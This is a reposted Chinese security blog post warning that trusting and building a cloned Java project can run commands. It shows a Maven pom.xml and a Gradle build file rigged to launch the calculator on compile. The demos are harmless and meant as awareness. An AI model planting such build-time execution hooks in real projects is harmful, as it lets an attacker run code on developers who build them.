
0x01 起
自从看了@DriverTom师傅写的这篇文章后,

给我带来的感受就是,关于攻防演练的“潜规则”就只剩下

0x02 承
之前在fofa的帮助“捡到”了几套源码

同时,也从github从git clone了很多工具的源码(java)进行review 学习,但是在IDEA初次打开的时候,相信大家对下面这个弹窗不会陌生

我不知道大家的选择是什么,我之前都是毫不在意地Trust Project,然后使用maven打包运行。
但是针对这个小细节,不由心生疑惑:“这个潜意识的操作有被反制的可能吗?”

0x03 转
这里只测试经常遇到了的两种Java项目构建工具,提供思路,其他的可自行测试。
Maven
测试如下:
源码

demo.java
public class demo {public static void main(String[] args) {System.out.println("Hacked By Yourself !");}}
pom.xml
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>rceDemo</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>7</maven.compiler.source><maven.compiler.target>7</maven.compiler.target></properties><build><plugins><plugin><groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId><version>1.1.1</version><executions><execution><id>some-execution</id><phase>compile</phase><goals><goal>exec</goal></goals></execution></executions><configuration><executable>calc</executable></configuration></plugin></plugins></build></project>
弹计算器

Gradle
测试如下:
源码

build.gradle
plugins {id 'java'}group 'org.example'version '1.0-SNAPSHOT'repositories {mavenCentral()}dependencies {testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.0'testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.0'}task demo(type: Exec){commandLine 'cmd', '/c', 'calc'}
settings.gradle
rootProject.name = 'gradleRce'
弹计算器

0x04 合
其实关于漏洞产生的本质—“Untrusted Data From Outside”,不仅适用于各种网站、各种软件,也同样适用于我们自己。
这篇文章虽有供娱乐的目的,但同时也是给自己提个醒儿,以后在这些方面还是留意一下,别栽了”跟头“!至于如何提升杀伤力真正达到反制的效果,我不会,我是废物。

参考
https://qastack.cn/programming/3491937/i-want-to-execute-shell-commands-from-mavens-pom-xmlhttps://cloud.tencent.com/developer/ask/59734
文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




